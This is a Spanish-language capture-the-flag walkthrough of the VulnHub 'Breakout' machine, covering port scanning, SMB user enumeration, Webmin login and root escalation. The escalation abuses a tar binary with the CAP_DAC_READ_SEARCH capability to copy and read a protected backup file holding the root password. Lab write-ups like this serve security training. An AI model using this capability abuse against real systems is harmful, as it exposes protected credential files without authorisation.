breakout
Máquina de la plataforma vulnhub
empezamos con un escaneo rapido para ver qué puertos tiene abierto y luego refinamos con cada uno
sudo nmap -p80,139,445,10000,20000 -sCV 192.168.57.6 -o scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 01:10 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 01:10 (0:00:07 remaining)
Nmap scan report for 192.168.57.6
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-server-header: MiniServ/1.981
|_http-title: 200 — Document follows
20000/tcp open http MiniServ 1.830 (Webmin httpd)
|_http-server-header: MiniServ/1.830
|_http-title: 200 — Document follows
MAC Address: 08:00:27:CA:18:20 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Host script results:
| smb2-time:
| date: 2025-08-12T02:10:19
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -3h00m00s
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.51 seconds
probamos y vemos que hay una pagina de autenticación tanto en :10000 como en :20000 , son similares pero con diferentes versiones

Intente buscar algo interesante pero no tuve exito por lo que volvi a ver el puerto 80 pero esta vez inspeccionando la página

Nos encontramos con una cadena de caracteres que están encriptados, se me dio por copiarlo y pegarlo en el navegador y nos arrojo una pagina interesante que decifra este tipo de cosas

Al parecer, según la página dice que "brainfuck" es un lenguaje de programación minimalista que solo usa 8 comandos para manipular la memoria y realizar operaciones.
Toma su nombre de dos palabras "brain" y "fuck" que se refiere a una especie de gran frustración para el cerebro.
Ahora que tenemos una contraseña, nos faltaría un usuario para poder utilizarla.
Como vimos anteriormente en el escaneo con nmap, estaba habilitado el protocolo smb, especificamente la implementación samba de dicho protocolo. Despues de usar algunas herramientas de enumeracion la que nos dio algo util es la tool enum4linux.

Ahora que ya tenemos un usuario y una contraseña vamos a intentar iniciar sesión

Vemos que podemos acceder a una shell y obtener la primer flag

Jugando un poco y curioseando con el binario que vemos en la imagen anterior(tar) pude acceder a la flag directamente sin siquiera haber tenido que elevar los privilegios a root, si bien seguro no debe ser la finalidad de esta maquina estuvo bueno probar

Bueno si bien ya estaría , vamos a intentar ganar el acceso a root
vemos que tar es un ejecutable binario con formato elf de 64bits
**file tar**
tar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU/Linux 3.2.0, stripped
vemos si tiene alguna biblioteca compartida que pueda ser vulnerable
**[cyber@breakout ~]$ ldd tar**
linux-vdso.so.1 (0x00007fffdc3fa000)
libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007fa0e97ec000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fa0e97c0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0e95fb000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fa0e9563000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa0e955d000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa0e9883000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa0e953b000)
pero no hay indicios de nada. Despues de buscar ayuda por internet, vi algo relacionado con las capabilities(capacidades), lo habia escuchado antes pero no me acordaba
En linux, las capacidades son una forma de dividir los privilegios tradicionalmente asociados con el usuario root en unidades más pequeñas y granulares. En lugar de otorgar acceso completo a todos los recursos del sistema a un proceso, las capacidades permiten asignar permisos especificos para realizar tareas particulares, mejorando la seguridad
Conocía los que es el bit suid que otorga privilegios completos de usuario root a un programa, pero al parecer este metodo es más granular y seguro. Para interactuar con estas funcionalidades existe el comando getcap que permite ver y modificar las capacidades de archivos y procesos

Según el comando man nos permite leer un archivo del sistema sin ninguna restricción
CAP_DAC_READ_SEARCH
• Bypass file read permission checks and directory read and ex‐
ecute permission checks;
• invoke open_by_handle_at(2);
• use the linkat(2) AT_EMPTY_PATH flag to create a link to a
file referred to by a file descriptor.
Haciendo una enumeracion rapida de archivos para ver si encontraba algo donde aplicar esto, encontre lo siguiente

Entonces lo que vamos a hacer es: empaquetar el archivo .bak al directorio actual de trabajo , con esto saltamos los permisosque existiesen gracias a la capabilidad que tiene nuestro binario y luego lo extraemos el archivo pero a diferencia de antes ahora somos los nuevos propietarios del mismo, por lo que podemos leerlo sin drama alguno y asi podemos obtener la contraseña root
**[cyber@breakout ~]$ ./tar -cf test.tar /var/backups/.old_pass.bak**
./tar: Removing leading `/' from member names
**[cyber@breakout ~]$ ls**
tar
test.tar
**[cyber@breakout ~]$ ./tar -xf test.tar**
**[cyber@breakout ~]$ ls**
tar
test.tar
var
**[cyber@breakout ~]$ cd var/backups/**
**[cyber@breakout backups]$ cat .**
./
../
.old_pass.bak
**[cyber@breakout backups]$ cat .old_pass.bak**
Ts&4&YurgtRX(=~h
Cerre sesion en el useradmin y entre al webadmin con la nueva credencial y obtenemos la flag.
**[root@breakout ~]# id**
uid=0(root) gid=0(root) groups=0(root)
**[root@breakout ~]# ls**
rOOt.txt
**[root@breakout ~]# cat rOOt.txt**
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
Author: Icex64 & Empire Cybersecurity